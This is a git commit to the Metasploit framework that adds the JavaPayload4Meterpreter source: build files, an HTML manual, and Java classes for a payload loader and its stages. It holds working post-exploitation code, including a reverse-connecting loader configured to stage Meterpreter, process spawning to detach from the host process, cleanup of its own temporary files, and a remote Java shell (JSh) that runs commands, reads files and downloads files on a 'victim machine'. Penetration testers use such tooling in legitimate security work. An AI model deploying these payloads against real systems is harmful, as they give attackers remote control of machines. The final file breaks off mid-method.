add source code for javapayload, thanks mihi. see #406

git-svn-id: file:///home/svn/framework3/trunk@10075 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-08-20 07:09:51 +00:00
parent 249016056e
commit 232af015cb
23 changed files with 1843 additions and 0 deletions

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="src" path="src"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/jre6"/>
<classpathentry kind="output" path="bin"/>
</classpath>

17
external/source/javapayload/.project vendored Normal file
View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>JavaPayload4Meterpreter</name>
<comment></comment>
<projects>
</projects>
<buildSpec>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder</name>
<arguments>
</arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>org.eclipse.jdt.core.javanature</nature>
</natures>
</projectDescription>

View File

@ -0,0 +1,12 @@
#Tue Aug 17 23:14:37 CEST 2010
eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
org.eclipse.jdt.core.compiler.compliance=1.3
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
org.eclipse.jdt.core.compiler.debug.localVariable=generate
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore
org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore
org.eclipse.jdt.core.compiler.source=1.3

Binary file not shown.

68
external/source/javapayload/build.xml vendored Normal file
View File

@ -0,0 +1,68 @@
<?xml version="1.0"?>
<project name="JavaPayload4Meterpreter" default="jar">
<target name="clean">
<delete dir="build" />
</target>
<target name="compile">
<mkdir dir="build" />
<javac srcdir="src" destdir="build" source="1.1" target="1.1" debug="no" />
</target>
<target name="jar" depends="compile">
<!-- main jar -->
<jar destfile="JavaPayload4Meterpreter.jar" basedir="build" />
<!-- example 1: standalone JSh -->
<propertyfile file="build/metasploit.dat">
<entry key="LPORT" value="0" />
<entry key="EmbeddedStage" value="JSh"/>
</propertyfile>
<jar destfile="example-standalone-jsh.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/Payload.class"/>
<include name="javapayload/stage/Stage.class"/>
<include name="javapayload/stage/JSh*.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<delete file="build/metasploit.dat"/>
<!-- example 2: reverse meterpreter (like loader.jar) -->
<propertyfile file="build/metasploit.dat">
<entry key="LPORT" value="4444" />
<entry key="LHOST" value="127.0.0.1" />
<entry key="EmbeddedStage" value="Meterpreter"/>
</propertyfile>
<jar destfile="example-reverse-meterpreter.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/Payload.class"/>
<include name="javapayload/stage/Stage.class"/>
<include name="com/metasploit/meterpreter/MemoryBufferURL*.class"/>
<include name="javapayload/stage/Meterpreter.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<delete file="build/metasploit.dat"/>
<!-- example 3: spawning bind -->
<propertyfile file="build/metasploit.dat">
<entry key="Spawn" value="2"/>
<entry key="LPORT" value="5555" />
</propertyfile>
<jar destfile="example-spawn-bind.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/Payload.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<delete file="build/metasploit.dat"/>
</target>
</project>

Binary file not shown.

Binary file not shown.

Binary file not shown.

331
external/source/javapayload/index.html vendored Normal file
View File

@ -0,0 +1,331 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<style type="text/css">
body {
font-family: Verdana, Arial, sans-serif;
font-size: 10pt;
}
p {
margin-left: 2em;
margin-right: 2em;
}
</style>
<title>JavaPayload4Metasploit - Single payload loader class to
be used in the Metasploit project</title>
</head>
<body>
<h1>JavaPayload4Metasploit - Single payload loader class to be used
in the Metasploit project</h1>
<p><i>&copy; 2010 Michael 'mihi' Schierl, <tt>&lt;schierlm
at users dot sourceforge dot net&gt;</tt></i></p>
<h2>Introduction</h2>
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
contain useful payloads written in pure Java. But they assume that the
attacker has a Java VM on his machine, as the the builders and stage
handlers are written in Java. In addition, when creating a new payload
class that should reside in a signed jar, the jar has to be re-signed as
classes have changed.</p>
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
class which is configured by a property file in the classpath (i. e. in
the same jar). As it is possible to add unsigned resources to a jar
without requiring to re-sign it, and as it is easy to manipulate zip/jar
files from Ruby, this makes it possible to leverage the powers of
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
<h2>System requirements</h2>
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
<p>On the attacker machine, no Java at all is required.</p>
<h2>How to use the <i>Payload</i> class.</h2>
<p>The <i>Payload</i> class is (among a collection of JavaPayload
stage classes) stored inside <tt>JavaPayload4Meterpreter.jar</tt>.</p>
<p>It is a standard java main class (i. e. it has a <tt>public
static void main(String[])</tt> method), so the most obvious way to invoke it
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
available that use this technique; they are described later.</p>
<p>Alternatively, the main class can of course be called from other
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
parameter is ignored. Note that in a sandboxed environment the caller
needs to have all permissions, and also the <i>Payload</i> class has to
be loaded with all permissions. In case there is untrusted code on the
stack trace (but the direct caller has all permissions), the call has to
be wrapped in a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
call (like it is done in the several well known public exploits for
CVE-2008-5353).</p>
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
from the class path and load it as a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
that some special characters need escaping). If the file cannot be
found, default values are used.</p>
<p>Depending on the property values (see below), the class will then
optionally write itself to disk and spawn a sub-process (once or several
times) to disconnect the payload from the calling process. All temporary
files will be deleted afterwards. (Even on Windows it is possible to
delete a running class file as technically, not the class file but the
Java VM is running).</p>
<p>After that, it will either listen on a port and accept a socket,
create an active socket connection, or (for debugging purposes) just
uses standard input and standard output; in any case, the resulting
input/output streams are used for the staging</p>
<p>The property file can configure an <i>embedded stage</i> which
will be loaded directly from the current classloader (i. e. JAR). Note
that this feature cannot be used from a sub-process, as the rest of the
JAR file will not be available any longer there.</p>
<p>If no embedded stage is configured, the stage is loaded from the
input stream instead (see below for the data format).</p>
<p>Once the stage is loaded, the streams are handed to the stage.
Stages may require optional parameters (a string) which can be given
either in the property file or by using the <tt>SendParameters</tt>
stage from JavaPayload.</p>
<p>When the stage quits, the payload class terminates and cleans up
after itself if needed.</p>
<h2>Supported properties (and their default values)</h2>
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
<p>The number of java processes that should be spawned. <tt>0</tt>
will run the payload inside the original process, <tt>1</tt> will spawn
once (to continue running when the original process terminates), and <tt>2</tt>
will spawn twice (on certain popular operating systems it is impossible
to obtain parent process informaion if the parent process has already
died).</p>
<h3><tt>EmbeddedStage</tt>(<tt>=</tt>)</h3>
<p><b>Note: </b> this option will not work with the <tt>Spawn</tt>
option!</p>
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
<p>Additional parameters to be used by the stage, regardless whether
it was embedded or not. Only few stages support/require parameters.</p>
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
set). If explicitly set to <tt>0</tt>, no connection will be made, but
standard input/output streams will be used instead.</p>
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
<p>Host to connect to. If not set, the payload will listen instead.</p>
<h2>Staging protocol</h2>
<p>The staging protocol is quite simple. All classes are sent
uncompressed (as they are inside the .jar file). Each class is prefixed
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
The classes will be defined in the order they are sent (i. e. they can
only refer to classes defined before), and the last sent class will be
loaded as a stage.</p>
<p>In case of an embedded stage, no staging is used - the stream is
directly passed to the stage.</p>
<h2>Supported stages (in alphabetical order)</h2>
<p>The stages are original <a
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
stages to make updates easier. All stages listed here can be used
without special "Java" tricks (like serialization or JDWP protocol), to
easily use them from Ruby.</p>
<h3><tt>Exec</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Exec</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd><tt><b>Exec</b> <i>commandline</i></tt></dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>raw Input/output streams</dd>
</dl>
<p>Execute an executable on the target machine and forward streams.
Stdout and Stderr are merged automatically.</p>
<h3><tt>JSh</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.JShSignalSender,
javapayload.stage.JShStreamForwarder, javapayload.stage.JSh</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>A simple shell written in pure Java.</p>
<pre>Supported commands:
help - show this help
info - list system properties
pwd - show current directory
cd - change directory
ls - list directory
exec - execute native command
cat - show text file
wget - download file
telnet - create TCP connection
paste - create text file
jobs - list or continue jobs
exit - Exit JSh</pre>
<h3><tt>Meterpreter</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage,
com.metasploit.meterpreter.MemoryBufferURLConnection,
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
javapayload.stage.Meterpreter</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Meterpreter protocol</dd>
</dl>
<p>Loader to load the Java version of Metasploit's own
post-exploitation toolkit.</p>
<h3><tt>SendParameters</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd><i>all classes needed by the stage to use</i>,
javapayload.stage.SendParameters</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>First transfer of parameters, then as the stage to use</dd>
</dl>
<p>"Intermediate" stage that can be used to change the stage
parameters in cases where they cannot be cast in stone when the payload
is built.</p>
<p>After sending the stage, but before sending data for the stage,
you have to send the parameters:</p>
<p>The parameters start with a unsigned big-endian 16-bit integer
that specifies the number of parameters. Then each parameter is sent in
Java's <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/io/DataInput.html#readUTF()">modified
UTF string format</a>. After that, the actual data for the stage can be
sent.</p>
<h3><tt>Shell</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Exec</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
<h3><tt>SystemInfo</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.SystemInfo</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>This stage just returns some system and network information. The
input stream is ignored. Useful as an embedded stage for automatic data
gathering with <tt>netcat</tt>, but not useful for anything else.</p>
<h3><tt>UpExec</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.UpExec</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd><b>UpExec</b> <i>program_name</i> <i>arguments</i></dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>raw Input/output streams</dd>
</dl>
<p>Acts like exec, just that the a file can be uploaded first
(stored with a random file name) which will be executed with parameters.</p>
<p>The file is uploaded directly after uploading the stage classes,
prefixed by a 32-bit big-endian integer size value.</p>
<h2>Included example jars</h2>
<h3><tt>example-reverse-meterpreter.jar</tt></h3>
<p>Will connect back to metasploit at localhost:4444. and try to
bootstrap meterpreter (via an embedded stage). Except for the hard-coded
address in the property file, it acts like <i>loader.jar</i>.</p>
<h3><tt>example-spawn-bind.jar</tt></h3>
<p>Will spawn 2 Java processes and then listen on port 5555 for
incoming connections. No embedded stages.</p>
<h3><tt>example-standalone-jsh.jar</tt></h3>
<p>Will run JSh on stdin/stdout. Example for the stdin/stdout
feature and useful for testing JSh easily.</p>
</body>
</html>

View File

@ -0,0 +1,68 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
/**
* An {@link URLConnection} for an URL that is stored completely in memory.
*
* @author mihi
*/
public class MemoryBufferURLConnection extends URLConnection {
private static List files = new ArrayList();
static {
// tweak the cache of already loaded protocol handlers via reflection
try {
Field fld = URL.class.getDeclaredField("handlers");
fld.setAccessible(true);
Hashtable handlers = (Hashtable) fld.get(null);
handlers.put("metasploitmembuff", new MemoryBufferURLStreamHandler());
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/**
* Create a new URL from a byte array and its content type.
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
files.add(data);
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
private final byte[] data;
private final String contentType;
protected MemoryBufferURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf('/');
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
contentType = file.substring(pos + 1);
}
public void connect() throws IOException {
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public int getContentLength() {
return data.length;
}
public String getContentType() {
return contentType;
}
}

View File

@ -0,0 +1,17 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
/**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
*
* @author mihi
*/
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u);
}
}

View File

@ -0,0 +1,60 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class Exec implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
for (int i = 0; i < parameters.length; i++) {
if (parameters[i].equals("--")) {
// separator found. The next parameter will be the module name, and
// all remaining parameters are for exec.
final String[] cmdarray = new String[parameters.length - i - 2];
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
break;
}
}
}
}

View File

@ -0,0 +1,346 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PipedInputStream;
import java.io.PipedOutputStream;
import java.io.PrintStream;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
public class JSh implements Stage, Runnable {
// each job is an Object[] to avoid a pure data class
// job[0] = name (String)
// job[1] = raw object (Socket or Process or Stream) for closing
// job[2] = OutputStream to forward user input to
// job[3..length-1] = JshStreamForwarders to redirect output
private final List jobs = new ArrayList();
private PipedOutputStream signalStream;
private InputStream originalIn;
private PrintStream pout;
/**
* Forward data from one stream to another. Closes the input stream but not the output stream!
*/
private void forward(InputStream in, OutputStream out) throws IOException {
final byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
if (in.available() == 0) {
out.flush();
}
}
in.close();
}
private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
final OutputStream out = (OutputStream) job[2];
int b;
boolean startOfLine = true, tilde = false, interrupted = true;
while (true) {
if (interrupted && job.length > 3) {
boolean allFinished = true;
for (int i = 3; i < job.length; i++) {
if (!((JShStreamForwarder) job[i]).isFinished()) {
allFinished = false;
break;
}
}
if (allFinished) {
pout.println("Finished: " + job[0]);
return false;
}
}
interrupted = false;
if ((b = in.read()) != -1) {
if (b == 0) {
b = in.read();
if (b != 0) {
interrupted = true;
continue;
}
}
if (startOfLine && b == '~') {
tilde = true;
} else if (tilde && b == '&') {
return true;
} else if (tilde && b == '.') {
return false;
} else {
if (tilde && b != '~') {
out.write('~');
}
out.write(b);
if (in.available() == 0) {
out.flush();
}
tilde = false;
}
startOfLine = (b == '\r' || b == '\n');
} else {
// our control connection has died...
return false;
}
}
}
private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
pout.println("Press ~& to suspend, ~. to stop job.");
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).pauseForwarding(false);
}
if (forwardEscapable(in, job)) {
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).pauseForwarding(true);
}
jobs.add(job);
pout.println("Job suspended, see 'jobs'.");
} else {
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).stopForwarding();
}
if (job[1] instanceof Socket) {
((Socket) job[1]).close();
} else if (job[1] instanceof Process) {
((Process) job[1]).destroy();
} else {
((OutputStream) job[1]).close();
}
}
}
public void run() {
try {
try {
int b;
while ((b = originalIn.read()) != -1) {
signalStream.write(b);
if (b == 0) {
signalStream.write(b);
}
if (originalIn.available() == 0) {
signalStream.flush();
}
}
} finally {
originalIn.close();
signalStream.close();
}
} catch (final Throwable ex) {
ex.printStackTrace(pout);
}
}
public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
this.originalIn = originalIn;
signalStream = new PipedOutputStream();
pout = new PrintStream(out, true);
final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
final Thread copier = new Thread(this);
copier.setDaemon(true);
copier.start();
final JShSignalSender ss = new JShSignalSender(signalStream, pout);
File pwd = new File(".").getCanonicalFile();
while (true) {
pout.print("! ");
// yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
String cmd = in.readLine();
while (cmd.indexOf("\0$") != -1) {
cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
}
if (cmd.length() == 0) {
continue;
}
int pos = cmd.indexOf(' ');
String params = "";
if (pos != -1) {
params = cmd.substring(pos + 1);
cmd = cmd.substring(0, pos);
}
cmd = cmd.toLowerCase().intern();
try {
if (cmd == "info") {
if (params.length() == 0) {
final Enumeration e = System.getProperties().propertyNames();
while (e.hasMoreElements()) {
final String property = (String) e.nextElement();
pout.println(property + "=" + System.getProperty(property));
}
} else {
pout.println(params + "=" + System.getProperty(params));
}
} else if (cmd == "pwd") {
pout.println(pwd.getPath());
} else if (cmd == "cd") {
File f = new File(pwd, params);
if (f.exists() && f.isDirectory()) {
pwd = f.getCanonicalFile();
} else {
f = new File(params);
if (f.exists() && f.isDirectory()) {
pwd = f.getCanonicalFile();
} else {
pout.println("Path not found.");
}
}
pout.println(pwd.getPath());
} else if (cmd == "ls") {
final File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
}
pout.println();
final File[] dir = pwd.listFiles();
for (int i = 0; i < dir.length; i++) {
pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
}
} else if (cmd == "exec") {
Process proc;
handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
} else if (cmd == "cat") {
final FileInputStream fis = new FileInputStream(new File(pwd, params));
forward(fis, pout);
} else if (cmd == "wget") {
pos = params.indexOf(' ');
if (pos == -1) {
pout.println(" Usage: wget <URL> <filename>");
} else {
final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
forward(new URL(params.substring(0, pos)).openStream(), fos);
fos.close();
}
} else if (cmd == "telnet") {
pos = params.indexOf(' ');
if (pos == -1) {
pout.println(" Usage: telnet <host> <port>");
} else {
Socket s;
handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
}
} else if (cmd == "paste") {
FileOutputStream fos;
handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
} else if (cmd == "jobs") {
if (params.length() == 0) {
for (int i = 0; i < jobs.size(); i++) {
pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
}
} else {
handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
}
} else if (cmd == "exit") {
break;
} else if (cmd == "help") {
params = params.toLowerCase().intern();
if (params == "info") {
pout.println("info: show system properties.");
pout.println(" Usage: info [property]");
} else if (params == "pwd") {
pout.println("pwd: show current directory.");
pout.println(" Usage: pwd");
} else if (params == "cd") {
pout.println("cd: change directory.");
pout.println(" Usage: cd <path>");
} else if (params == "ls") {
pout.println("ls: list directory.");
pout.println(" Usage: ls");
} else if (params == "exec") {
pout.println("exec: execute native command.");
pout.println(" Usage: exec <command>");
} else if (params == "cat") {
pout.println("cat: show text file.");
pout.println(" Usage: cat <filename>");
} else if (params == "wget") {
pout.println("wget: download file.");
pout.println(" Usage: wget <URL> <filename>");
} else if (params == "telnet") {
pout.println("telnet: create TCP connection.");
pout.println(" Usage: telnet <host> <port>");
} else if (params == "paste") {
pout.println("paste: create text file.");
pout.println(" Usage: paste <filename>");
} else if (params == "jobs") {
pout.println("jobs: list or continue jobs.");
pout.println(" Usage: jobs [index]");
} else if (params == "exit") {
pout.println("exit: Exit JSh.");
pout.println(" Usage: exit");
} else {
pout.println("help: show information about commands.");
pout.println(" Usage: help [command]");
pout.println();
pout.println("Supported commands:");
pout.println(" help - show this help");
pout.println(" info - list system properties");
pout.println(" pwd - show current directory");
pout.println(" cd - change directory");
pout.println(" ls - list directory");
pout.println(" exec - execute native command");
pout.println(" cat - show text file");
pout.println(" wget - download file");
pout.println(" telnet - create TCP connection");
pout.println(" paste - create text file");
pout.println(" jobs - list or continue jobs");
pout.println(" exit - Exit JSh");
pout.println();
pout.println("When inside an interactive command, enter ~. on a new");
pout.println("line to exit from that command. Enter ~& to background the command.");
pout.println("Enter ~~ to start a line with a ~ character");
}
} else {
pout.println("Unknown command: " + cmd);
pout.println("Type help for more info.");
}
} catch (final Exception ex) {
ex.printStackTrace(pout);
}
}
ss.terminate();
pout.close();
}
}

View File

@ -0,0 +1,84 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.PipedOutputStream;
import java.io.PrintStream;
/**
* For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends...
*/
public class JShSignalSender extends Thread {
private final PipedOutputStream signalStream;
private boolean doSignal, doTerminate;
private final PrintStream errorStream;
public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) {
this.signalStream = signalStream;
this.errorStream = errorStream;
start();
}
public void run() {
try {
while (true) {
synchronized (this) {
while (!doSignal && !doTerminate) {
wait();
}
if (doTerminate) {
break;
}
doSignal = false;
}
signalStream.write(new byte[] { 0, '$' });
signalStream.flush();
}
signalStream.close();
} catch (final Throwable ex) {
ex.printStackTrace(errorStream);
}
}
public synchronized void signal() {
doSignal = true;
notifyAll();
}
public synchronized void terminate() {
doTerminate = true;
